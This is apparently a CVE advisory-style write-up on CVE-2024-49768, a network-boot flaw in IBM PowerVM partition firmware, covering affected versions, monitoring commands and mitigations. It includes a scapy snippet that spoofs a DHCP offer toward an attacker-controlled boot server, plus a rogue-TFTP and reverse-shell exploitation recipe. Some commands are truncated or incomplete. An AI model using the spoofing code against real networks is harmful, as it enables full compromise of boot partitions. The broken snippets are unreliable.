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The CVE-2024-49768 vulnerability resides in the partition firmware component of the IBM PowerVM Hypervisor during the network boot procedure. When a logical partition (LPAR) is configured to boot over the network, it relies on the BOOTP/DHCP and TFTP protocols to obtain an IP address, gateway, and the location of the boot image. The partition firmware sends a broadcast request, and the designated boot server responds with a DHCP offer containing the boot file name and server IP. The firmware then uses TFTP to download the image and execute it.
The flaw is a classic case of improper input validation (CWE-20). The firmware does not cryptographically verify the authenticity or integrity of the boot server’s responses nor the downloaded boot image. An unauthenticated attacker who has Layer 2 adjacency to the target partition can inject spoofed DHCP/BOOTP replies or ARP poisoning to redirect the boot session to a malicious TFTP server. By responding faster than the legitimate server (or using ARP cache poisoning), the attacker can supply a crafted boot image.
On partitions where OS secure boot is disabled—which is the default configuration on many IBM Power systems—the firmware will blindly load and execute the substituted image without checking signatures. This gives the attacker full control over the partition’s initial program load (IPL). They can install a backdoored kernel, modify the initramfs, or inject malicious drivers that persist through reboots. Everything subsequently loaded by that partition, including the operating system and all applications, becomes compromised.
The attack does not affect the hypervisor itself or other partitions; only the partition performing the network boot is at risk. The attack vector is adjacent network (AV:A), requires low attack complexity, no privileges, and no user interaction. This yields a CVSS 3.1 base score of 8.8 (High) with full impact on confidentiality, integrity, and availability. The vulnerable firmware versions include FW1120.00, FW1110.00 through FW1110.30, FW1060.00 through FW1060.80, and FW950.00 through FW950.H2, spanning numerous Power System models from S1012 to E1080. IBM has released security advisories and is providing firmware updates to remediate the issue. Network segmentation, enabling OS secure boot, and disabling unused network boot interfaces are interim mitigations.
DailyCVE Form:
Platform: IBM PowerVM Hypervisor
Version: FW1120.00, FW1110.00-FW1110.30, FW1060.00-FW1060.80, FW950.00-FW950.H2
Vulnerability: Improper Input Validation
Severity: High (CVSS 8.8)
date: 2024-11-26
Prediction: Available in FW1120.10
What Undercode Say:
Check current firmware version on the Hardware Management Console (HMC):
`lssyscfg -r sys -F name,fwversion`
Verify OS secure boot state for a partition:
`lssyscfg -r lpar -m
Monitor network boot traffic to detect rogue DHCP offers:
`tcpdump -i eth0 -vv -s 0 port 67 or port 68 or port 69`
Simulate a malicious DHCP offer (scapy snippet to spoof bootfile):
from scapy.all import
eth = Ether(dst="ff:ff:ff:ff:ff:ff")
ip = IP(src="<attacker_ip>", dst="255.255.255.255")
udp = UDP(sport=67, dport=68)
bootp = BOOTP(op=2, yiaddr="<victim_ip>", siaddr="<attacker_ip>")
dhcp = DHCP(options=[("message-type", "offer"), ("server_id", "<attacker_ip>"), ("bootfile", "malicious.img"), "end"])
sendp(eth/ip/udp/bootp/dhcp)
Exploit: (Educational Purposes!)
To exploit this, an attacker on the same VLAN sets up a rogue TFTP server hosting a modified boot image (e.g., a custom Linux kernel with a reverse shell). Using `arpspoof` to poison the target’s ARP cache or by broadcasting spoofed DHCP offers with a lower lease time, the attacker redirects the victim partition to the rogue server. Upon next network boot, the partition downloads and executes the attacker’s image, granting full system control. The attacker can also send malformed DHCP packets to trigger a boot-time panic, causing denial of service.
Protection:
- Enable OS Secure Boot for all partitions (
chsyscfg -r lpar -m <system> -i "lpar_id=<ID>,secure_boot=1"). - Use network access control lists (ACLs) or 802.1X to restrict unauthorized devices on the boot network.
- Isolate management and boot networks using separate VLANs and limit DHCP/BOOTP to trusted servers only.
- Disable network boot on partitions that do not require it (
chsyscfg -r lpar -m <system> -i "lpar_id=<ID>,boot_mode=normal"). - Apply IBM firmware update FW1120.10 or later as soon as available.
Impact:
Successful exploitation leads to complete compromise of the target partition. The attacker can read all sensitive data processed by the guest OS, modify system files and applications, install persistent malware (rootkits, ransomware), and disrupt critical workloads. Since the hypervisor remains intact, the attacker cannot escape to other partitions, but the affected partition is effectively owned. In cloud or multi-tenant environments, this could lead to cross-tenant data exposure if the partition hosts shared services.
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Sources:
Reported By: nvd.nist.gov
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